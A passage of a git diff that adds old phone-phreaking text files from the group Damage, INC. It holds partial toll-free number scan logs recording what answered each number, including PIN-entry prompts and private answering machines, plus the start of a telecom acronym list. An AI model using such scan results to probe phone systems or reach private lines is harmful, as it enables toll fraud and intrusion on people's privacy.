+456 2CK. +457 NA. +458 2CK. +459 NIS. +460 Forensic Analysts. +461 FAX. +462 Testco. +463 PrimeCell. +464 BellSouth Mobility Employment Line. +465 U.S. Long Distance. +466 Network Services, Inc. +467 2CK. +468 2CK. +469 Nevada Bell QuickService. +470 2CK. +471 NIS. +472 Voice. +473 Disconnected. +474 FAX. +475 2CK. +476 2CK. +477 NIS. +478 NA. +479 NIS. +480 2CK. +481 NIS. +482 NIS. +483 Carolina Four Seasons Radiator. +484 FAX. +485 Disconnected. +486 Voice. +487 Voice. +488 NA. +489 PageNet's Wireless Messaging Network. +490 NA. +491 NIS. +492 2CK. +493 NIS. +494 FAX. +495 Voice. +496 FAX. +497 Voice. (French) +498 Portables. +499 NIS. +500 Pacific Bell. Out of service. 1-800-PAC-BELL. +501 NA. +502 Cellular Technologies. +503 Wireless Solutions. +504 FAX. +505 Disconnected. +506 Bell ExpressVu. +507 NIS. +508 NA. +509 NA. +510 NA. +511 NIS. +512 2CK. +513 NIS. +514 FAX. +515 FAX. +516 NIS. +517 Non-working number at Rockwell Automation. +518 Bell ExpressVu. +519 NA. +520 Bell ExpressVu. +521 Bell ExpressVu. +522 2CK. +523 NIS. +524 NIS. +525 2CK. +526 NIS. +527 NIS. +528 NIS. +529 NIS. +530 NIS. +531 NIS. +532 NIS. +533 NIS. +534 NIS. +535 NIS. +536 NIS. +537 NIS. +538 NIS. +539 NIS. +540 NIS. +541 NIS. +542 NIS. +543 NIS. +544 NIS. +545 NIS. +546 NA. +547 NIS. +548 NIS. +549 NIS. +550 NIS. +551 Disconnected. +552 2CK. +553 FAX. +554 NIS. +555 NIS. +556 NIS. +557 NIS. +558 NIS. +559 NIS. +560 NIS. +561 NIS. +562 NIS. +563 NIS. +564 NIS. +565 NIS. +566 Disconnected. +567 NIS. +568 Voice. "Lou" Ask him where he works. +569 NA. +570 NA. +571 Voicemail. +572 NIS. +573 NIS. +574 NIS. +575 NIS. +576 Babies and Bells. +577 "The service is not available at this time." +578 Same as above. +579 Same as above. +580 NIS. +581 NIS. +582 Tones. +583 Invalid. +584 NIS. +585 NIS. +586 NIS. +587 "Please enter your numeric message after the tone." +588 Bell Atlantic Video Sales Department. +589 MCI WorldCom Paging System. +590 NIS. +591 "I'm sorry but I'm not able to connect you just now." +592 "I'm sorry but I'm not able to connect you just now." +593 Fast BUSY. (2) +594 CARRIER. +595 NIS. +596 2CK. +597 Barkley Global Investors. +598 NIS. +599 NIS. +600 NIS. +601 Go Cellular. +602 NIS. +603 NIS. +604 FAX. +605 NA. +606 Invalid. +607 NIS. +608 NIS. +609 NIS. +610 NIS. +611 NIS. +612 NIS. +613 NA. +614 NIS. +615 Watstar Long Distance. +616 NEB. +617 NIS. +618 NIS. +619 NIS. +620 NA. +621 NA. +622 NIS. +623 NIS. +624 Mass Markets Reserve 800 Hotline. +625 2CK. +626 NIS. +627 NIS. +628 French. +629 Invalid. +630 NIS. +631 Cellular Connections. (Authorized Verizon Wireless Dealer) +632 NA. +633 High Tones. +634 2CK. +635 NIS. +636 NIS. +637 "Enter the PIN number you wish." +638 2CK. +639 NIS. +640 NIS. +641 NIS. +642 NIS. +643 Action One Cellular. +644 NIS. +645 "Enter the PIN number you wish." +646 Conference Calling Center. +647 NIS. +648 NIS. +649 NIS. +650 NIS. +651 NA. +652 NIS. +653 NIS. +654 NA. +655 Ring+Trunk Busy. (2) +656 NIS. +657 NA. +658 NIS. +659 NIS. +660 NIS. +661 NIS. +662 NIS. +663 NIS. +664 NIS. +665 NIS. +666 NIS. +667 NIS. +668 NIS. +669 NIS. +670 NIS. +671 NIS. +672 Sprint. Promotion has expired. +673 NIS. +674 NIS. +675 NIS. +676 2CK. +677 NIS. +678 NIS. +679 NIS. +680 2CK. +681 Disconnected. +682 FAX. +683 NIS. +684 2CK. +685 NIS. +686 Voice. +687 NIS. +688 NIS. +689 NIS. +690 NIS. +691 NIS. +692 NIS. +693 NIS. +694 NIS. +695 NIS. +696 NIS. +697 NIS. +698 NIS. +699 NIS. +700 NIS. +701 NIS. +702 NIS. +703 NIS. +704 NIS. +705 NIS. +706 NIS. +707 NIS. +708 NIS. +709 NIS. +710 NIS. +711 NIS. +712 NIS. +713 NIS. +714 NIS. +715 NIS. +716 NIS. +717 NIS. +718 NIS. +719 NIS. +720 NIS. +721 Bell and Howell VMB. +722 NIS. +723 NIS. +724 NIS. +725 Slow BUSY. (3) +726 NIS. +727 2CK. +728 NIS. +729 NIS. +730 Deltacom. (Nextel Dealer/Representative) +731 NA. +732 Answering machine. +733 Bell Canada Direct Marketing Business Center. +734 2CK. +735 NIS. +736 NIS. +737 NIS. +738 NIS. +739 NIS. +740 NIS. +741 NIS. +742 NIS. +743 NIS. +744 NIS. +745 NIS. +746 NIS. +747 NIS. +748 NIS. +749 NIS. +750 NIS. +751 NA. +752 NIS. +753 NIS. +754 NIS. +755 NIS. +756 NIS. +757 NIS. +758 NIS. +759 NIS. +760 2CK. +761 NIS. +762 NIS. +763 Bell Canada's Total Solution Center for Business Customers. +764 NA. +765 NIS. +766 NIS. +767 NIS. +768 NA. +769 NIS. +770 CARRIER. +771 Capital One. +772 NIS. +773 NIS. +774 Voice. +775 NA. +776 2CK. +777 Invalid. +778 NIS. +779 NIS. +780 NIS. +781 NIS. +782 NIS. +783 NIS. +784 NIS. +785 NIS. +786 NIS. +787 NIS. +788 NIS. +789 NIS. +790 NIS. +791 NIS. +792 NIS. +793 NIS. +794 NIS. +795 NIS. +796 NIS. +797 NIS. +798 NIS. +799 2CK. +800 2CK. +801 Bell Canada's Direct Marketing Business Centre. +802 Universal Technologies. +803 Siren Tones. +804 NIS. +805 NIS. +806 NIS. +807 NIS. +808 NIS. +809 NIS. +810 NIS. +811 NIS. +812 NIS. +813 NIS. +814 Voicemail/Pager/FAX/Messaging. +815 Dick Anderson's Message Center. +816 NA. +817 Bell Micro Products System Assistance. +818 IBI All State's Communications. +819 Classic Fulfillment Center. +820 2CK. +821 NIS. +822 NIS. +823 NIS. +824 2CK. +825 Voice. +826 NIS. +827 NIS. +828 NIS. +829 NIS. +830 "Please enter your numeric message after the tone." +831 NIS. +832 NIS. +833 NIS. +834 NIS. +835 NIS. +836 Voice. +837 NIS. +838 Answering Machine. +839 NIS. +840 NIS. +841 NIS. +842 NIS. +843 NIS. +844 NIS. +845 Capital City Cellular. (Authorized Rogers AT&T Wireless Dealer) +846 NIS. +847 Reserved for future VISA use. +848 CARRIER. +849 NA. +850 NIS. +851 2CK. +852 2CK. +853 NIS. +854 Bell Micro Products. +855 NIS. +856 NIS. +857 Distant. +858 NIS. +859 NIS. +860 Crucial Technology. +861 Disconnected. +862 2CK. +863 Voice. +864 FAX. +865 NIS. +866 NIS. +867 NIS. +868 NIS. +869 NIS. +870 NIS. +871 NIS. +872 USA Cell. +873 Discover Communications. (Rogers AT&T Wireless) +874 NIS. +875 NIS. +876 NIS. +877 NIS. +878 NIS. +879 Bell Helicopter Employment Office. +880 2CK. +881 NIS. +882 Voice. +883 NIS. +884 NIS. +885 NIS. +886 NIS. +887 NIS. +888 NIS. +889 NIS. +890 NIS. +891 NIS. +892 NIS. +893 NIS. +894 2CK. +895 Voice. +896 NIS. +897 MCI WorldCom Cellular Message Center. +898 NIS. +899 2CK. +900 NIS. +901 NIS. +902 NIS. +903 NIS. +904 NIS. +905 NIS. +906 NIS. +907 NIS. +908 NIS. +909 Pacific Bell's Customer Service for the Message Center. +910 Voice. +911 NIS. +912 NIS. +913 NIS. +914 NIS. +915 NIS. +916 NA. +917 Invalid. +918 NA. +919 NA. +920 NIS. +921 BellSouth. +922 High Tone. +923 NIS. +924 NA. +925 2CK. +926 NA. +927 NIS. +928 2CK. +929 NIS. +930 NIS. +931 Bell Micro Products. +932 2CK. +933 NIS. +934 NA. +935 NIS. +936 NIS. +937 NIS. +938 NA. +939 NIS. +940 Bell Micro Products. +941 NA. +942 NA. +943 NA. +944 FAX. +945 NA. +946 NIS. +947 NA. +948 NIS. +949 Bell and Company. +950 NIS. +951 NA. +952 NA. +953 Don of Western Airlines. +954 CelluWorld. +955 BellSouth Rewards. +956 NA. +957 MCI WorldCom Paging System. +958 MCI WorldCom Paging System. +959 NIS. +960 MCI WorldCom Paging System. +961 MCI WorldCom Paging System. +962 NIS. +963 NIS. +964 NIS. +965 Advanced Communications. +966 NIS. +967 NIS. +968 2CK. +969 Microcell. +970 NA. +971 NIS. +972 NA. +973 NIS. +974 NIS. +975 NIS. +976 NIS. +977 2CK. +978 NIS. +979 NIS. +980 NIS. +981 NIS. +982 NIS. +983 Voice. +984 NIS. +985 Ad Gap. +986 NIS. +987 NIS. +988 NIS. +989 NIS. +990 NIS. +991 Univercell (cell phone rentals) +992 NIS. +993 FAX. +994 NIS. +995 Disconnected. +996 Voice. +997 FAX. +998 Voice. CBC? +999 Bell Canada's Voice Response System. diff --git a/textfiles.com/groups/DAMAGEINC/888bell.txt b/textfiles.com/groups/DAMAGEINC/888bell.txt new file mode 100644 index 00000000..97e24114 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/888bell.txt @@ -0,0 +1,815 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + 1-888-XXX-BELL Scan + + http://surf.to/damage_inc + damage_inc@dope.org +=============================================================================== + +1-888-XXX-2355 (BELL) Scan: + +200 2CK. +201 BellSouth Benefit Enrollment System. +202 NIS. +203 BellSouth. +204 2CK. +205 NIS. +206 Bell Atlantic. +207 Bell Atlantic. +208 Bell Atlantic. +209 NIS. +210 NIS. +211 Bell Atlantic Caller ID. +212 NIS. +213 Bell Atlantic Caller ID. +214 NIS. +215 2CK. +216 Bell Atlantic Caller ID. +217 Bell Atlantic Caller ID. +218 Bell Atlantic Caller ID. +219 Bell Atlantic. +220 NIS. +221 Bell Atlantic. +222 NIS. +223 Bell Atlantic. +224 NIS. +225 NIS. +226 NIS. +227 2CK. +228 2CK. +229 NIS. +230 NIS. +231 2CK. +232 2CK. +233 2CK. +234 NIS. +235 NIS. +236 NIS. +237 NIS. +238 NIS. +239 Improved Performance Group. +240 2CK. +241 NIS. +242 Bell (Spanish) +243 NIS. +244 2CK. +245 Bell Atlantic Caller ID. +246 Voice. +247 2CK. +248 NIS. +249 2CK. +250 NIS. +251 2CK. +252 American Italian Pasta. (Voice) +253 2CK. +254 NIS. +255 2CK. +256 CoBell USA Incorporated. +257 Bell Atlantic Caller ID. +258 Bell Atlantic Caller ID. +259 Bell Atlantic Caller ID. +260 Message Center for some construction company. +261 Bell Atlantic Caller ID. +262 NIS. +263 NIS. +264 (1-888-ANI-BELL) Bell Atlantic Caller ID. +265 NIS. +266 2CK. +267 Bell Atlantic Caller ID. +268 Cliff Taylor's answering machine. Bell worker? +269 2CK. +270 NIS. +271 2CK. +272 2CK. +273 NIS. +274 NIS. +275 NIS. +276 NIS. +277 2CK. +278 NA. +279 NIS. +280 TONES. +281 NIS. +282 NIS. +283 NIS. +284 NIS. +285 2CK. +286 NIS. +287 KurBell Plastics. +288 2CK. +289 NA. +290 NIS. +291 NIS. +292 NIS. +293 NIS. +294 NIS. +295 NIS. +296 NIS. +297 NIS. +298 NIS. +299 NIS. +300 Consolidated Wireless Corporation. +301 NIS. +302 NIS. +303 NIS. +304 2CK. +305 NIS. +306 NIS. +307 NIS. +308 NIS. +309 NIS. +310 NIS. +311 NIS. +312 NIS. +313 2CK. +314 NIS. +315 NIS. +316 Dave Merryl's answering machine. +317 Charles something Enterprises, Inc. +318 NIS. +319 NIS. +320 NIS. +321 NA. +322 2CK. +323 2CK. +324 2CK. +325 NIS. +326 NIS. +327 BellSouth Mobility Area Code Reprogramming Department. +328 NIS. +329 NIS. +330 NIS. +331 NIS. +332 NIS. +333 2CK. +334 NIS. +335 2CK. +336 BlueBell Consolidating. +337 2CK. +338 NIS. +339 NIS. +340 Please enter your home phone number followed by last 4 digits of SSN now. +341 FAX. +342 NIS. +343 Due to technical difficulties we cannot record your message at this time. +344 NIS. +345 Cellular One Dispatch. +346 Non-working toll free number. +347 Non-working toll free number. +348 NIS. +349 Non-working toll free number. +350 BUSY. +351 BUSY. +352 NIS. +353 BUSY. +354 BUSY. +355 NIS. +356 Non-working toll free number. +357 2CK. +358 Non-working toll free number. +359 NIS. +360 Non-working toll free number. +361 Non-working toll free number. +362 NIS. +363 NIS. +364 2CK. +365 NIS. +366 NIS. +367 2CK. +368 Non-working toll free number. +369 NIS. +370 NIS. +371 NA. +372 NIS. +373 NIS. +374 Invalid telephone number. +375 BUSY. +376 NIS. +377 Bell Firstrate Interactive Information and Enrollment Service. +378 Bell Canada's Ontario Direct Marketing Center. +379 2CK. +380 2CK. +381 Bell something? Call back. +382 NIS. +383 BellSouth Cellular Fraud Prevention Center. +384 NIS. +385 2CK. +386 NIS. +387 TONES. +388 Bell Direct in Canada. (the same as 310-BELL) +389 NIS. +390 NIS. +391 Hello? (Voice) +392 Short TONES. +393 NIS. +394 NA. +395 NIS. +396 NIS. +397 NIS. +398 NA. +399 NIS. +400 Bell Industries. +401 NIS. +402 NIS. +403 NIS. +404 NIS. +405 NIS. +406 NIS. +407 NIS. +408 NIS. +409 NIS. +410 NIS. +411 NIS. +412 NIS. +413 NA. +414 NIS. +415 NIS. +416 NIS. +417 NIS. +418 NIS. +419 NIS. +420 NIS. +421 NIS. +422 AcuMed International. +423 2CK. +424 NIS. +425 NIS. +426 NIS. +427 NIS. +428 NIS. +429 Disconnected. +430 NIS. +431 NIS. +432 NIS. +433 NIS. +434 NIS. +435 NIS. +436 Nationwide Messaging. +437 NIS. +438 2CK. +439 Exxo Manufacturing Companies. +440 NIS. +441 NIS. +442 NIS. +443 2CK. +444 Something (Maricell?) Cellular. +445 NIS. +446 NIS. +447 NIS. +448 2CK. +449 NIS. +450 NIS. +451 NIS. +452 NIS. +453 NA. +454 2CK. +455 Southwestern Bell. NIS any longer. +456 NIS. +457 Your call cannot be completed as dialed. Recording B. +458 NIS. +459 NIS. +460 NIS. +461 NIS. +462 2CK. +463 NIS. +464 BUSY. +465 NIS. +466 NA. +467 NIS. +468 Due to technical difficulties we cannot record your message at this time. +469 2CK. +470 NIS. +471 BUSY. +472 Voice. +473 NIS. +474 NIS. +475 NIS. +476 NIS. +477 BUSY. +478 NIS. +479 NIS. +480 NIS. +481 NIS. +482 NIS. +483 NIS. +484 NIS. +485 NIS. +486 NIS. +487 NIS. +488 NIS. +489 NIS. +490 NIS. +491 Please leave your message after the tone. +492 NIS. +493 NIS. +494 NIS. +495 NIS. +496 NIS. +497 2CK. +498 NIS. +499 NIS. +500 NIS. +501 NIS. +502 NIS. +503 NIS. +504 Tony Bell from Remax. +505 Something Corporation. +506 NIS. +507 NIS. +508 NIS. +509 FAX. +510 NIS. +511 NIS. +512 NIS. +513 NIS. +514 NIS. +515 NIS. +516 NIS. +517 NIS. +518 NIS. +519 NIS. +520 NIS. +521 NIS. +522 Cellular One. +523 2CK. +524 NIS. +525 2CK. +526 106C The 800 number you have dialed is NIS at this time. +527 NIS. +528 NIS. +529 NIS. +530 Bell Sales Company. +531 NIS. +532 NIS. +533 NIS. +534 NIS. +535 NIS. +536 This is Ken Bell. (Voice) +537 NIS. +538 NIS. +539 Hello? (Voice) +540 NIS. +541 NIS. +542 NIS. +543 BellSouth Internet Business. 1-800-436-8638 BellSouth Internet Home. (U.S. only) +544 NIS. +545 NIS. +546 2CK. +547 NIS. +548 NIS. +549 1-800-829-1011 Network Management Center. +550 BUSY. +551 NIS. +552 American Italian Pasta Company. +553 NIS. +554 NIS. +555 NIS. +556 2CK. +557 NIS. +558 800 number is not active. +559 800 number is not active. +560 800 number is not active. +561 NIS. +562 Cellular One's Job Hotline. +563 NIS. +564 NIS. +565 FAX. +566 NIS. +567 NIS. +568 2CK. +569 NIS. +570 NIS. +571 NIS. +572 NIS. +573 NIS. +574 NIS. +575 MCI WorldCom. +576 NIS. +577 Someone's Voicemail. +578 Bell Industries. +579 NIS. +580 NIS. +581 I'm sorry, but the service is not available at this time. +582 NIS. +583 2CK. +584 NIS. +585 2CK. +586 Please leave your numeric message after the tone. +587 NIS. +588 NIS. +589 NIS. +590 2CK. +591 NIS. +592 NIS. +593 S&E? Something Cellular. Call back. +594 NIS. +595 NIS. +596 NIS. +597 NIS. +598 Bell Industries. +599 NA. +600 NIS. +601 NIS. +602 Enter telephone number or a numeric message. +603 NIS. +604 NIS. +605 NIS. +606 NIS. +607 NIS. +608 NIS. +609 NA. +610 NIS. +611 NIS. +612 Enter the PIN number you wish. +613 NIS. +614 Enter the PIN number you wish. +615 NIS. +616 NIS. +617 NIS. +618 Bell Industries. +619 NIS. +620 NIS. +621 NIS. +622 2CK. +623 Enter the PIN number you wish. +624 MCI WorldCom. +625 NIS. +626 BUSY. +627 NIS. +628 2CK. +629 2CK. +630 This mailbox number is NIS. +631 NIS. +632 NIS. +633 2CK. +634 NIS. +635 NIS. +636 2CK. +637 Doctor Bell's office. Voice at 4:10am? +638 Cantel AT&T. +639 NIS. +640 NIS. +641 NIS. +642 NIS. +643 NIS. +644 NIS. +645 NIS. +646 NIS. +647 NIS. +648 Disconnected. +649 NA. +650 2CK. +651 NIS. +652 American Italian Pasta. +653 NIS. +654 NIS. +655 Network MCI Contact. +656 NIS. +657 NIS. +658 NIS. +659 NIS. +660 NIS. +661 NIS. +662 NIS. +663 NIS. +664 NIS. +665 NIS. +666 2CK. +667 NIS. +668 NIS. +669 NIS. +670 NIS. +671 NIS. +672 NIS. +673 NIS. +674 NIS. +675 BUSY. +676 NIS. +677 Bell Atlantic View at One Support. +678 NIS. +679 NIS. +680 NIS. +681 Cellular One. +682 NIS. +683 2CK. +684 Enter telephone number or a numeric message. +685 BC Tel Multiple Option Messaging. +686 NIS. +687 2CK. +688 Bell Industries. +689 NIS. +690 NIS. +691 NIS. +692 NIS. +693 NIS. +694 Corporate Communications at AirTouch Customer Service. +695 NIS. +696 NIS. +697 NIS. +698 Bell Industries. +699 NIS. +700 2CK. +701 NIS. +702 NIS. +703 NIS. +704 NIS. +705 NIS. +706 NIS. +707 NIS. +708 Bell Industries. +709 NIS. +710 NIS. +711 NIS. +712 NIS. +713 NIS. +714 NIS. +715 Call Home America Ultimate 800. +716 NIS. +717 NIS. +718 Randy's Voicemail. +719 NIS. +720 NIS. +721 NIS. +722 NIS. +723 NIS. +724 NIS. +725 NIS. +726 2CK. +727 2CK. +728 NIS. +729 NIS. +730 Bell Atlantic. +731 Bell Atlantic Caller ID. +732 NIS. +733 NIS. +734 Bell Atlantic Caller ID. +735 NIS. +736 NIS. +737 2CK. +738 2CK. +739 NIS. +740 NIS. +741 Bell Atlantic. +742 NA. +743 Bell Atlantic. +744 NA. +745 Bell Atlantic. +746 2CK. +747 Bell Atlantic Caller ID. +748 Bell Industries. +749 Bell Atlantic. +750 NIS. +751 Bell Atlantic. +752 American Italian Pasta Company. +753 TONE. +754 NIS. +755 Pacific Bell Equipment. +756 NA. +757 Bell Atlantic Caller ID. +758 NIS. +759 American Mobile. NIS at this time. 1-800-872-6222. 1-800-405-6543. +760 NIS. +761 NIS. +762 NIS. +763 NA. +764 NIS. +765 Non-working toll free number. +766 NIS. +767 NA. +768 NIS. +769 NIS. +770 NIS. +771 NIS. +772 BUSY. +773 NIS. +774 2CK. +775 Pacific Bell Equipment. +776 2CK. +777 NIS. +778 Bell Atlantic Caller ID. +779 Bell Atlantic Caller ID. +780 Bell Atlantic Caller ID. +781 Bell Atlantic. +782 Bell Atlantic. +783 2CK. +784 NIS. +785 Bell Atlantic Caller ID. +786 NIS. +787 NA. +788 Bell Canada Business Consulting Group. +789 NIS. +790 NIS. +791 Bell Atlantic Caller ID. +792 NIS. +793 Bell Atlantic Caller ID. +794 Bell Atlantic Caller ID. +795 Bell Atlantic Caller ID. +796 NIS. +797 NIS. +798 NIS. +799 NIS. +800 NIS. +801 Something Cell Phones and Accessories. Call back. +802 NIS. +803 NIS. +804 NIS. +805 NIS. +806 NIS. +807 NIS. +808 NIS. +809 NIS. +810 NIS. +811 NIS. +812 NIS. +813 NIS. +814 NIS. +815 NIS. +816 NIS. +817 NIS. +818 NIS. +819 NIS. +820 NIS. +821 NIS. +822 2CK. +823 This program has ended. +824 Something Tel. Call back. +825 Connect America. +826 NA. +827 TarBell Realtors. +828 BUSY. +829 NIS. +830 NIS. +831 2CK. +832 NIS. +833 NIS. +834 NIS. +835 NIS. +836 NA. +837 NIS. +838 NIS. +839 NIS. +840 2CK. +841 NIS. +842 Not-Active. +843 2CK. +844 NIS. +845 NIS. +846 2CK. +847 2CK. +848 2CK. +849 2CK. +850 2CK. +851 2CK. +852 America Italian Pasta Company. +853 NA. +854 NIS. +855 NIS. +856 NIS. +857 NIS. +858 NIS. +859 NIS. +860 NIS. +861 NIS. +862 NIS. +863 NIS. +864 NIS. +865 NIS. +866 NIS. +867 NIS. +868 NA. +869 BUSY. +870 BUSY. +871 Invalid. +872 NA. +873 NIS. +874 NA. +875 NIS. +876 NIS. +877 Comcev Communications. +878 NIS. +879 Portable Communications. (home of the Phone Man) +880 NIS. +881 The information service you have dialed is not being conducted at this time. +882 NIS. +883 Massada Company. +884 NIS. +885 2CK. +886 NIS. +887 NIS. +888 2CK. +889 NA. +890 NIS. +891 NIS. +892 NIS. +893 NIS. +894 NIS. +895 NIS. +896 NIS. +897 Please leave your numeric message after the tone. +898 NIS. +899 2CK. +900 NIS. +901 Digital Communications. +902 NewTech Wireless. (paging, cellular, equipment, etc.) +903 NIS. +904 Bell Firstrate Interactive Information and Enrollment Service. +905 NIS. +906 NA. +907 NIS. +908 NA. +909 Bob Bell. +910 NIS. +911 NIS. +912 NIS. +913 2CK. +914 NIS. +915 NIS. +916 NA. +917 NIS. +918 NIS. +919 NIS. +920 NIS. +921 NIS. +922 Long pause, no ring then BUSY. +923 NIS. +924 NIS. +925 NIS. +926 NIS. +927 NIS. +928 NIS. +929 NIS. +930 NIS. +931 NIS. +932 NIS. +933 Bell Atlantic Caller ID. +934 NIS. +935 NIS. +936 NIS. +937 WesBell Group of Companies? 416-741-5971 or 1-888-438-0000 +938 2CK. +939 NIS. +940 NIS. +941 NIS. +942 NIS. +943 NIS. +944 NIS. +945 NIS. +946 NA. +947 NIS. +948 NIS. +949 NIS. +950 NIS. +951 NIS. +952 American Italian Pasta. (Voice) +953 NIS. +954 Bell Atlantic Caller ID. +955 NIS. +956 2CK. +957 2CK. +958 Bell Atlantic Caller ID. +959 Bell Atlantic Caller ID. +960 Bell Atlantic Caller ID. +961 Bell Atlantic Caller ID. +962 Bell Atlantic Caller ID. +963 Bell Sales Company. +964 Bell Atlantic Caller ID. +965 Bell Atlantic Caller ID. +966 Bell Atlantic Caller ID. +967 Bell Atlantic Caller ID. +968 Everything Wireless. +969 Bell Atlantic. +970 Bell Atlantic Caller ID. +971 Bell Atlantic Caller ID. +972 Bell Atlantic Caller ID. +973 NIS. +974 Bell Atlantic Caller ID. +975 Bell Atlantic Caller ID. +976 NIS. +977 Bell Atlantic Caller ID. +978 NIS. +979 NA. +980 Bell Atlantic Caller ID. +981 Bell Atlantic Caller ID. +982 Bell Atlantic Caller ID. +983 Bell Atlantic. +984 Bell Atlantic. +985 Bell Atlantic. +986 Bell Atlantic. +987 2CK. +988 Bell Atlantic. +989 Bell Atlantic. +990 Bell Atlantic. +991 NIS. +992 Bell Atlantic. +993 Bell Atlantic. +994 NIS. +995 2CK. +996 Bell Atlantic. +997 Bell Atlantic. +998 Voice. +999 Something Wireless. +BUSY. diff --git a/textfiles.com/groups/DAMAGEINC/acronyms.txt b/textfiles.com/groups/DAMAGEINC/acronyms.txt new file mode 100644 index 00000000..f3f0983b --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/acronyms.txt @@ -0,0 +1,1505 @@ + /\ /\ + ..... _______ / \ ____ / \ /\ __ _______ + ..: ____|__ | / \___\ \----// / \_/\__/_/_________\ / ... + :.. \ / |_/ \_/ /_/ \_ __ \_____/_ _ :... + ..:.. \ \_ _ | / | \__ _____ ...: . + : /-----/____\---\----\____| _\----\---/\----\_____\\ . ....: : + : /------\ /\. : + . ::..... ....... ::..... ::..... .. .. . + : .. :: ::.... :: :::....:: ::.....:: :: ...::... ...........:: : + :: :: :::: ::: ::: ::: ::: ::: ::....::: ::: ::: :: + . :: :: :::: ::: ::: ::: ::: ::: ::: ::: ::: ::: :: . + :: :: :::: ::: ::: :::...::: ::: :: ::: ::: ::: :: + :: :: :::: ::: ::: :: :: ::: :: ::: ::: ::: :: + :: :::: :::...::: :: :: ::: :: :::...:::...:::...:: + :: ::...:: :: ::...:: ::...:: ::.. + + +------------ - ---- -- ----- --- - - - -- ---- - - - - -- - +A damn cool song deserved a damn good ascii, and I think I delivered. +Spent ages on this one (about one hour for an oldschool!) -waste/pst + + Damage, INC. List of Acronyms v1.0 + ---------------------------------- + +3ACC 3A Central Control +5XB COER 5 X-Bar Central Office Equipment Reports system +A/D Analog to Digital +AAX Automated Attendant eXchange +ABATS Automatic Bit Access Test System +ABHC Average Busy Hour Calls +ABS Alternative Billing Service +ABSBH Average Busy Season Busy Hour +ACB Annoyance Call Bureau +ACC Analog Control Channel +ACC Audio Communications Controller +ACCS Automated Calling Card Service +ACD Automatic Call Distributor +ACDA Automatic Call Disposition Analyzer +ACE Automatic Calling Equipment +ACF Advanced Communications Functions +ACH Attempt per Circuit per Hour +ACOF Attendant Control Of Facilities +ACP ACtion Point +ACSNET Acedemic Computing Services NETwork +ACSU Advanced t-1 Channel Service Unit +ACTS Automated Coin Toll Service +ACU Alarm Control Unit +ACU Automatic Calling Unit +ADCCP Advanced Data Communications Control Procedure +ADCI Automatic Display Call Indicator +ADN Abbreviated Dialing Number +ADPCM Adaptive Differential Pulse Code Modulation +ADS Advanced Digital System +ADS Audio Distribution System +ADS Auxilary Data System +AF Audio Frequency +AFACTS Automatic FACilities Test System +AFADS Automatic Force Adjustment Data System +AFSK Automatic Frequency Shift Keying +AIC Automatic Intercept Center +AICC Automatic Intercept Communications Controller +AIOD Automatic Identificated Outward Dialing +AIS Automatic Intercept System +AIX Advanced Interactive eXecutive +ALBO Automatic Line BuildOut +ALFE Analog Line Front End +ALGOL ALGOrhythmic computer Language +ALI Automatic Location Indentification +ALIT Automatic Line Insulation Testing +ALRU Automatic Line Record Update +ALS Automated List Service +AM Administrative Module +AM Amplitude Modulation +AM Answering Machine +AMA Automatic Message Accounting +AMACS AMA Collection System +AMARC AMA Recording Center +AMASE AMA Standard Entry +AMAT AMA Transmitter +AMATPS AMA TeleProcessing System +AMERITECH AMERican Information TECHnologies +AMI Alternate Mark Inversion +AMPS Advanced Mobile Phone Service +AN Associated Number +ANA Automatic Number Announcement +ANAC Automatic Number Announcement Circuit +ANC All Number Calling +ANI Automatic Number Identification +ANIF Automatic Number Identification Failure +ANIS Automatic Number Identification Switching/Spoofing +ANSI American National Standards Institute +AOS Alternate Operator Service +AOSS Auxilliary Operator Service System +AP Attached Processor +APC AMARC Protocol Converter +APD Avalanche Photo Diode +APS Automatic Protection Switch +AR Alarm Report +ARC Audio Response Controller +ARCH Access Response Channel +ARIS Audichron Recorded Information System +ARQ Automatic Repeat reQuest +ARS Alternate Route Selection +ARSB Automated Repair Service Bureau +ARU Audio Response Unit +ASCII American Standard Code for Information Interexchange +ASIC Application Specific Integrated Circuit +ASM Assembly +ASOC Administrative Service Oversight Center +ASPEN Automatic System for Performance Evaluation of the Network +AT Access Tandem +AT&T American Telephone and Telegraph +ATB All Trunks Busy +ATC Automatic Transmission Control +ATH Abbreviated Trouble History +ATI Automatic Test Inhibit +ATIS Automatic Transmitter Identification System +ATM Asynchronous Transfer Mode +ATM Automatic Teller Machine +ATMS Automated Trunk Measurement System +ATP All Tests Pass +ATR Alternate Trunk Routing +ATRS Automated Trouble Reporting System +ATTC Automatic Transmission Test and Control circuit +ATTCOM AT&T COMmunications +ATTIS AT&T Information System +AUDIX AUDio Information eXchange +AUTODIN AUTOmatic DIgital Network +AUTOSEVCOM AUTOmatic SEcure Voice COMmunications +AUTOVON AUTOmatic VOice Network +AUXF AUXillary Frame +AVC Analog Voice Channel +AVD Alternate Voice Data +B6ZS Bipolar with 6 Zero Subsitution +B8ZS Bipolar with 8-Zero Substitution +B911 Basic 911 +B Bridge +BA Bell Atlantic +BAMAF BELLCORE AMA Format +BANCS Bell Administrative Network Communications System +BAPCO Bellsouth Advertising & Publishing COmpany +BB Blue Box +BBS Bulletin Board System +BCC Blocked Call Cleared +BCCH Broadcast Channel +BCD Binary Coded Decimal +BCD Blocked Call Delayed +BCS Batch Change Supplement +BCH Blocked Calls Held +BCR Blocked Calls Released +BCTEL British Columbia Telco +BDP Bi-Directional Protocol +BDT Billing Data Transmitter +BEF Band Elimination Filter +BELLCORE BELL COmmunications REsearch +BER Bit Error Rate +BERT Bit Error Rate Test +BETRS Basic Exchange Telecommunications Radio Service +BHC Busy Hour Calls +BIN Binary +BIOS Basic Input/Output System +BISP Business Information System Program +BITNET Because-It's-Time NETwork +BL/DS Busy Line/Don't Answer +BLER Block Error Rate +BLF Busy Line Field +BLS Business Listing Service +BLV Busy Line Verification +BNS Billed Number Screening +BOC Bell Operating Company +BOR Basic Output Report +BORSCHT Battery, Overvoltage, Ringing, Supervision, Coding, Hybrid Testing +BOS Business Office Supervisor +BOSS Billing and Order Support System +BOT Beginning Of Tape +BPI Bits Per Inch +BPOC Bell Point Of Contact +BPS Bits Per Second +BPSS Basic Packet-Switching Service +BRAT Business Residence Account Tracking system +BRCS Business Residence Custom Service +BPH Bits Per Hour +BRI Basic Rate 